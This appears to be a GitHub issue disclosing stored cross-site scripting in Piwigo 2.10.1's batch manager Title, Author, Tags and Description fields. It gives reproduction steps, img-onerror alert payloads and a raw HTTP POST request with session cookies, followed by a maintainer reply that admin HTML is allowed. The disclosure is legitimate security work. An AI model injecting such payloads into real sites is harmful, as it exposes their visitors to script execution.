Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Single Mode" tab in "batch_manager" page. Specifically "Title", "Author", "Tags", and "Description" fields are affected.
How to reproduce:
Login into the application and upload any image file.
Go to the "batch_manager" page under "Photos" menu.
In "Single Mode" tab, insert the payload or <img src="X" onerror=alert("Author")> in "Title", "Author", "Tags", and "Description" fields and hit enter.
Then view the image in recent photos page. Any user who visits the photos page is affected.
Description:
Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Single Mode" tab in "batch_manager" page. Specifically "Title", "Author", "Tags", and "Description" fields are affected.
How to reproduce:
1. Login into the application and upload any image file.
2. Go to the "batch_manager" page under "Photos" menu.
3. In "Single Mode" tab, insert the payload <img src="X" onerror="alert(document.domain)"> or <img src="X" onerror=alert("Author")> in "Title", "Author", "Tags", and "Description" fields and hit enter.
4. Then view the image in recent photos page. Any user who visits the photos page is affected.
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
*********************************************************************************************************
POST /piwig/admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_display_thumbnail=no_display_thumbnail; phavsz=1141x490x1; pwg_id=i6juu2ls6m174g1f0abcjodjs7; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
element_ids=1&name-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%281%29%22%3B%3E&author-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%282%29%22%3B%3E&date_creation-1=&level-1=0&description-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%284%29%22%3B%3E%0D%0A&submit=Submit
*********************************************************************************************************




<!-- github-sync-id:552305568 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Description:
Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Single Mode" tab in "batch_manager" page. Specifically "Title", "Author", "Tags", and "Description" fields are affected.
How to reproduce:
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
POST /piwig/admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_display_thumbnail=no_display_thumbnail; phavsz=1141x490x1; pwg_id=i6juu2ls6m174g1f0abcjodjs7; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
element_ids=1&name-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%281%29%22%3B%3E&author-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%282%29%22%3B%3E&date_creation-1=&level-1=0&description-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%284%29%22%3B%3E%0D%0A&submit=Submit
That's not a bug. Piwigo let the administrator add HTML in a photo title.
Is administrator allowed to add HTML in "Author" and "Tags" fields too?